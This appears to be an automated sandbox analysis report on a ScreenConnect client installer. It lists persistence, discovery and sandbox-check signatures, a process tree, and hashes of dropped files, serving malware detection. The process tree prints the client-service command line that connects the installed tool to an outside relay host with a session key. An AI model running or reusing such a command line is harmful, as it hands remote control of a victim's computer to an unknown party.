Analysis

  • max time kernel
    149s
  • max time network
    142s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250619-en
  • resource tags

    arch:x64arch:x86image:win11-20250619-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    12/10/2025, 21:33

General

  • Target
    ScreenConnect.ClientSetup.exe
  • Size 5.4MB
  • Sample251012-1emdhszpx2
  • SHA256 1b75c42801e9a5bd3facc5e084897f76e42010be75e77bd0f2db6a1d52790834
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Binary is signed using a ConnectWise certificate revoked for key compromise. 5 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.exe
    "C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2656
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\5a1b454f92fbe452\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4344
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3744
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 14B6B96577752A2FB8EFB350E9568A1C C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2468
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIBF4E.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_241418171 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:416
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:1296
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 38ACD6AC05FE805FDE73958CA0A89FAB
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3200
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding B62618C601D4485ECA2E0123E3D672B7 E Global\MSI0000
        2⤵
        • Drops file in Windows directory
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4744
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:1856
    • C:\Program Files (x86)\ScreenConnect Client (5a1b454f92fbe452)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (5a1b454f92fbe452)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=faithintxs.org&p=8041&s=c1640f01-e94c-4c01-bfe6-9d1ddbb5cac0&k=BgIAAACkAABSU0ExAAgAAAEAAQDlQZ3%2f5lazCOql0fEXA7OUQQUHEyzoWKjDNYKckRrMmvUqdGwCF11%2bMz3AeWIQwjly6%2b1jawlEtfB9ISG7yREhayufSMxgkpShldtcr9gibPjx%2bSmMrMYzl9ZyjWB5fz1MxwtGQo5bC6%2baAzpfho6p8%2f35HZaWfMRaUbXwWgHNBzN1F%2bmHVAwQBfYRKZ5Gb5u6eCMZSLQc%2fi0ZoVtaGbw5tHug%2fexZ%2b5r3H2Gu4NsMNEpAnX8w6Qwzz2AdGQbI1bXBsIrl4hgh%2fL6QanJGNSSVf9V8s6UOZoBDk%2fNi%2bw35eaaGiKhSlY1emAeqTrKwS9NyHllIq9RjfNxcBtlPNELG"
      1⤵
      • Sets service image path in registry
      • Drops file in System32 directory
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:336
      • C:\Program Files (x86)\ScreenConnect Client (5a1b454f92fbe452)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (5a1b454f92fbe452)\ScreenConnect.WindowsClient.exe" "RunRole" "5b5f314c-ef51-4023-83fa-dd45b7968c15" "User"
        2⤵
        • Executes dropped EXE
        PID:2724
      • C:\Program Files (x86)\ScreenConnect Client (5a1b454f92fbe452)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (5a1b454f92fbe452)\ScreenConnect.WindowsClient.exe" "RunRole" "4227b7b1-bfe4-4ce7-9a90-f207dfb660fa" "System"
        2⤵
        • Drops file in System32 directory
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:3168

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e63eecb.rbs

          • Path C:\Config.Msi\e63eecb.rbs
          • Size 214KB
          • SHA256 6b308e8d5995e27b8cb3c5fbac1cd74f8ffa92304f68a080157671924b5c6833
          • MD5 SHA1 SHA512 SSDEEP

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (5a1b454f92fbe452)\Client.Override.en-US.resources
          • Size 251B
          • SHA256 f8c6ffac6cb3413f082100c33adc6a644d92f43ce8412bfae72fad5a2659b5fe
          • MD5 SHA1 SHA512

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (5a1b454f92fbe452)\Client.Override.resources
          • Size 320B
          • SHA256 35df43e235355789375ef25551f0fd5edda16f801e2e3daea7e62613b2d09a94
          • MD5 SHA1 SHA512

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (5a1b454f92fbe452)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (5a1b454f92fbe452)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (5a1b454f92fbe452)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (5a1b454f92fbe452)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (5a1b454f92fbe452)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (5a1b454f92fbe452)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (5a1b454f92fbe452)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (5a1b454f92fbe452)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (5a1b454f92fbe452)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (5a1b454f92fbe452)\app.config
          • Size 1KB
          • SHA256 805e6e9447a4838d874d84e6b2cdff93723641b06726d8ee58d51e8b651cd226
          • MD5 SHA1 SHA512

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (5a1b454f92fbe452)\system.config
          • Size 946B
          • SHA256 6d090c5ab4ded8d554fc956220169bdbd9ee01965f562d070d4ae2e1e0253734
          • MD5 SHA1 SHA512

          MSIBF4E.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSIBF4E.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIBF4E.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIBF4E.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIBF4E.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIBF4E.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\5a1b454f92fbe452\ScreenConnect.ClientSetup.msi
          • Size 12.8MB
          • SHA256 d99885efb95a9ae91717eff64cfd88dfb2591a1211101c11fd62eb9c83c469d6
          • MD5 SHA1 SHA512 SSDEEP

          MSIF042.tmp

          • Path C:\Windows\Installer\MSIF042.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.6MB
          • SHA256 96013f05cea8750e35d106a49015e9d4a5e4b0d80097128bf8a7a67070f35695
          • MD5 SHA1 SHA512 SSDEEP

          {16586650-9f40-4b0a-af57-2a478ab1a36f}_OnDiskSnapshotProp

          • Path \??\Volume{ab831621-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{16586650-9f40-4b0a-af57-2a478ab1a36f}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 814409e8e1a6369d29cb505a4093542eacc94a8fc0e504b94f60f05fe2655c2f
          • MD5 SHA1 SHA512 SSDEEP

          memory/336-107-0x00000000042C0000-0x0000000004395000-memory.dmp

          memory/336-98-0x0000000003D90000-0x0000000003DE0000-memory.dmp

          memory/336-102-0x0000000003DE0000-0x0000000003E16000-memory.dmp

          memory/336-103-0x00000000040D0000-0x0000000004162000-memory.dmp

          memory/336-87-0x0000000003B30000-0x0000000003B48000-memory.dmp

          memory/336-105-0x0000000003E20000-0x0000000003E61000-memory.dmp

          memory/416-38-0x0000000004A00000-0x0000000004A8C000-memory.dmp

          memory/416-42-0x0000000004C40000-0x0000000004DEC000-memory.dmp

          memory/416-34-0x0000000002580000-0x000000000258A000-memory.dmp

          memory/416-30-0x0000000002530000-0x000000000255E000-memory.dmp

          memory/2656-3-0x0000000005FD0000-0x00000000062C2000-memory.dmp

          memory/2656-5-0x0000000003580000-0x00000000035A2000-memory.dmp

          memory/2656-4-0x0000000003650000-0x00000000036DC000-memory.dmp

          memory/2656-6-0x0000000005CD0000-0x0000000005E7C000-memory.dmp

          memory/2656-2-0x0000000005CC0000-0x0000000005CD0000-memory.dmp

          memory/2656-0-0x0000000005CC0000-0x0000000005CD0000-memory.dmp

          memory/2656-8-0x0000000005CC0000-0x0000000005CD0000-memory.dmp

          memory/2656-7-0x0000000006870000-0x0000000006E16000-memory.dmp

          memory/2656-1-0x0000000001C10000-0x0000000001C18000-memory.dmp

          memory/2724-118-0x000000001CB40000-0x000000001CBCC000-memory.dmp

          memory/2724-119-0x000000001CD80000-0x000000001CF2C000-memory.dmp

          memory/2724-134-0x0000000000E30000-0x0000000000E48000-memory.dmp

          memory/2724-135-0x000000001C890000-0x000000001C8A8000-memory.dmp

          memory/2724-136-0x000000001C8F0000-0x000000001C931000-memory.dmp

          memory/2724-122-0x000000001D2C0000-0x000000001D448000-memory.dmp

          memory/2724-117-0x0000000002720000-0x0000000002756000-memory.dmp

          memory/2724-116-0x0000000000580000-0x0000000000618000-memory.dmp